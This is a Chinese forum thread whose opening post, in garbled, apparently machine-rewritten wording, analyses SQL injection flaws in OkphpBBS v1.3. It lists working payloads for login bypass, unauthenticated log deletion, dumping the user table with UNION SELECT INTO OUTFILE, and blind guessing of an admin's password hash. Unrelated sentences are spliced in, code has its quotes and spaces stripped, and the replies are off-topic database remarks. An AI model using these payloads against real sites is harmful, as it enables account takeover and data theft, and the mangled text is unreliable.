仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 605|回复: 7
打印 上一主题 下一主题

[学习教程] MSSQL网页设计谈php+mysql打针语句机关

[复制链接]
愤怒的大鸟 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:22:38 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
使用C和C++编写,并使用了多种编译器进行测试,保证源代码的可移植性mysql|语句 因为PHP和MYSQL自己得缘故原由,PHP+MYSQL的打针要比asp坚苦,特别是打针时语句的机关方面更是个难点,本文次要是借对OkphpBBSv1.3一些文件得复杂剖析,来谈谈php+mysql打针语句机关体例,但愿本文对你有点匡助。
  声明:文章一切提到的“毛病”,都没有经由测试,大概基本不存在,实在有无毛病其实不主要,主要的是剖析思绪和语句机关。

二.“毛病”剖析:
1.admin/login.php打针招致绕过身份考证毛病:
代码:
$conn=sql_connect($dbhost,$dbuser,$dbpswd,$dbname);
$password=md5($password);
$q="selectid,group_idfrom$user_tablewhereusername=$usernameandpassword=$password";
$res=sql_query($q,$conn);
$row=sql_fetch_row($res);

$q="selectid,group_idfrom$user_tablewhereusername=$usernameandpassword=$password"中
$username和$password没过滤,很简单就绕过。
关于select*from$user_tablewhereusername=$usernameandpassword=$password如许的语句改革的办法有:

机关1(使用逻辑运算):$username=ORa=a$password=ORa=a
相称于sql语句:
select*from$user_tablewhereusername=ORa=aandpassword=ORa=a

机关2(使用mysql里的正文语句#,/*把$password正文失落):$username=admin#(或admin/*)
即:
select*from$user_tablewhereusername=admin#andpassword=$password"

相称于:
select*from$user_tablewhereusername=admin

在admin/login.php中$q语句中的$password在查询行进行了md5加密以是不成以用机关1中的语句绕过。这里我们用机关2:
selectid,group_idfrom$user_tablewhereusername=admin#andpassword=$password"
相称于:
selectid,group_idfrom$user_tablewhereusername=admin

只需存在用户名为admin的就建立,假如不晓得用户名,只晓得对应的id,
我们就能够如许机关:$username=ORid=1#

相称于:
selectid,group_idfrom$user_tablewhereusername=ORid=1#andpassword=$password(#后的被正文失落)

我们接着往下看代码:
if($row[0]){
//Ifnotadminorsupermoderator
if($username!="admin"&&!eregi("(^ &)3($ &)",$row[1])){
$login=0;
}

else{
$login=1;
}
}
//Failtologin---------------
if(!$login){
write_log("Moderatorlogin","0","passwordwrong");
echo"<script>alert(loginfailed!);history.go(-1);</script>";
exit();
}
//Access!-------------
else{
session_start();

呵呵~~最初复杂经由过程一个$login来判别,我们只需ie提交间接提交$login=1就能够绕过了:)。

2.users/login.php打针招致绕过身份考证毛病:
代码:
$md5password=md5($password);
$q="selectid,group_id,emailfrom$user_tablewhereusername=$usernameandpassword=$md5password";
$res=sql_query($q,$conn);
$row=sql_fetch_row($res);
$username没过滤使用同1里正文失落andpassword=$md5password";就绕过啦。

3.adminloglist.php存在恣意删除日记纪录毛病。(ps:这个好象和php+mysql打针有关,任意提一下)
okphp的背景好象写得很纰漏,一切文件都没有判别办理员是不是已上岸,以致于恣意会见。我们看list.php的代码:
$arr=array("del_log","log_id","del_id");
get_r($arr);
//
if($del_log){
省略........
if($log_id){
foreach($log_idas$val){
$q="deletefrom$log_tablewhereid=$val";
$res=sql_query($q,$conn);
if($res){
$i++;
}
}
}
elseif($del_id){
$q="deletefrom$log_tablewhereid=$del_id";
$res=sql_query($q,$conn);
}
$tpl->setVariable("message","$ilogdeletedok!");
$tpl->setVariable("action","index.php?action=list_log");
}
代码就只复杂的用get_r($arr);判别的提交的参数,我们只需提交响应的$del_log,$log_id,$del_id。就回删除乐成。
4.多个文件对变量没有过滤招致sql打针毛病。
  okphp的作者好象都不喜好过滤:)。基础上一切的sql语句中的变量都是“光秃秃”的。详细那些文件我就不列出来了,请本人看代码,我这里就用forumslist_threads.php为例子复杂谈一下。
看list_threads.php的代码:
$q="selectname,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_numfrom$type_tablewhereid=$forum_id";
$res=sql_query($q,$conn);
$row=sql_fetch_row($res);
变量$forum_id没有过滤,由于mysql不撑持子查询,我们能够使用union机关语句举行团结查询(请求MySQL版本在4.00以上)完成跨库操纵,我们机关以下:
机关1:使用SELECT*FROMtableINTOOUTFILE/path/file.txt(请求mysql有file权限,注重在win体系中要相对路径,如:c://path//file.txt)。把所查询的内容输出到file.txt,然后我们能够通http://ip/path/file.txt来会见失掉查询的了局。下面的我们能够如许机关$forum_id:
$forum_id=unionselect*fromuser_tableintooutfile/path/file.txt
以下:
$q="selectname,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_numfrom$type_tablewhereid=$forum_idunionselect*fromuser_tableintooutfile/path/file.txt";

下面的举措请求对照刻薄,必需失掉web的路径(一样平常能够经由过程提交织误的变量使mysql报错而失掉),并且php的magic_gpc=on选项使注进中不克不及呈现单引号。假如magic_gpc=on我们也能够绕过:
机关2:就象asp跨库查询一样,间接使用unionselect机关语句,使前往了局分歧来猜解,这类办法能够绕过单引号(magic_gpc=on)持续打针,不外在php里这类打针绝对坚苦,依据详细的代码而定。详细的语句机关请参考pinkeyes的文章《php注进实例》。上面我就分离okphp给个使用“前往了局分歧”打针的例子:(见毛病5)。
5.admin/login.php和users/login.php经由过程sql语句机关能够猜解失掉指定用户暗码hash:(实在这个和毛病1和2是统一个,这里独自拿出来,次要是申明语句机关的办法。)
成绩代码同毛病1。
语句的机关(ps:由于语句自己就是对用户库操纵就没需要用union了):
$username=adminANDLENGTH(password)=6#
sql语句酿成:
$q="selectid,group_idfrom$user_tablewhereusername=adminANDLENGTH(password)=6#andpassword=$password"
相称于:
$q="selectid,group_idfrom$user_tablewhereusername=adminANDLENGTH(password)=6"
假如LENGTH(password)=6建立,则一般前往,假如不建立,mysql就会报错。
呵呵,如许我们就能够猜解用户admin暗码hash了。如$username=adminord(substring(password,1,1))=57#
能够猜用户的暗码第一名的ascii码值............。

三.后话:
  这篇文章是在网吧看代码写出来的,只是大略的看了下代码,文章所提到的“毛病”都没有经由测试。大概有的“毛病”基本就不存在,也大概遗漏了很多器材,这些都不是很要紧,由于本文的主要目标是看php+mysql打针时的语句机关,经由过程本文,能够看出:固然看起来php好象要比asp平安,不外一但变量没有过滤完整,php的打针要比asp打针更天真,更多打针办法。因为作者程度等缘故原由,大概文章很多毛病,还请多指导。

Memory所有数据置于内存的存储引擎,拥有极高的插入,更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在Mysql重新启动时丢失
爱飞 该用户已被删除
沙发
发表于 2015-1-19 09:45:28 | 只看该作者
从底层原理到表层引用,书籍多的很。个人认为没有什么那本书好?这样的说法。主要看和个人的学习方法是否适合。
金色的骷髅 该用户已被删除
板凳
发表于 2015-1-24 15:52:01 | 只看该作者
如果你是从“学习某一种数据库应用软件,从而获得应聘的资本和工作机会”的角度来问的话。
小妖女 该用户已被删除
地板
发表于 2015-2-2 07:26:48 | 只看该作者
作了些试验,发现使用CLR的存储过程或函数在达到一定的阀值的时候,系统性能会呈指数级下滑!这是非常危险的!只使用几个可能没有问题,当一旦大规模使用会造成严重的系统性能问题!
老尸 该用户已被删除
5#
发表于 2015-2-7 17:44:18 | 只看该作者
光写几个SQL实在叫无知。
admin 该用户已被删除
6#
发表于 2015-3-7 02:28:22 | 只看该作者
我个人认为就是孜孜不懈的学习
深爱那片海 该用户已被删除
7#
发表于 2015-3-14 10:12:34 | 只看该作者
对递归类的树遍历很有帮助。个人感觉这个真是太棒了!阅读清晰,非常有时代感。
简单生活 该用户已被删除
8#
发表于 2015-3-21 03:02:56 | 只看该作者
原来的计算字段其实和虚拟字段很像。只是管理方面好了而已,性能方面提高不多。但是SQL2005提供了计算字段的持久化,这就提高了查询的性能,但是会加重insert和update的负担。OLTP慎用。OLAP可以大规模使用。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2025-1-10 06:05

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表